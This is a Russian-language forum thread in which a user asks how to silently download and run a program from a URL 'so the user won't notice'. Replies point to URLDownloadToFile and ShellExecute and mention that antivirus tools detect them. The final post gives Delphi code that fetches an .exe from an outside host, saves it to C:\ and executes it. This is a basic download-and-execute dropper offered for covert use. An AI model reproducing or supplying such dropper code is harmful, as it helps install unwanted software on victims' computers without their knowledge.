[Delphi]Установка и запуск приложения.

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Ferrari california, 17 May 2010.

  1. Ferrari california

    Joined:
    17 Mar 2010
    Messages:
    0
    Likes Received:
    16
    Reputations:
    0
    Требуеться установить по урл программу и запустить ,чтобы юзер не заметил,кто поможет +
     
  2. crystalbit

    crystalbit Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    212
    Likes Received:
    88
    Reputations:
    8
    легче всего URLDownloadToFile из urlmon (использование палится часто антивирусами)
    и ShellExecute из ShellAPI
     
    1 person likes this.
  3. Ferrari california

    Joined:
    17 Mar 2010
    Messages:
    0
    Likes Received:
    16
    Reputations:
    0
    хм а программно можно написать ?
     
  4. Nelzone

    Nelzone Banned

    Joined:
    12 Apr 2008
    Messages:
    172
    Likes Received:
    134
    Reputations:
    6
    тебе написали программно тепер воплоти его в жизнь :rolleyes:

    не забуд добавить shellAPI
     
    1 person likes this.
  5. astonilya

    astonilya New Member

    Joined:
    10 Sep 2009
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    procedure TForm1.Button1Click(Sender: TObject);
    var mem:TMemoryStream;
    begin
    mem := TMemoryStream.Create;
    try
    IdHTTP1.Get('http://astonilya.hut.ru/TR.exe',mem);
    mem.SaveToFile('c:\TR.exe');
    finally
    mem.Destroy;

    end;
    if FileExists('C:\TR.exe') then
    begin
    shellexecute(0,nil,'C:\TR.exe',nil,nil, SW_SHOWNORMAL);
    end;

    end;
     
    1 person likes this.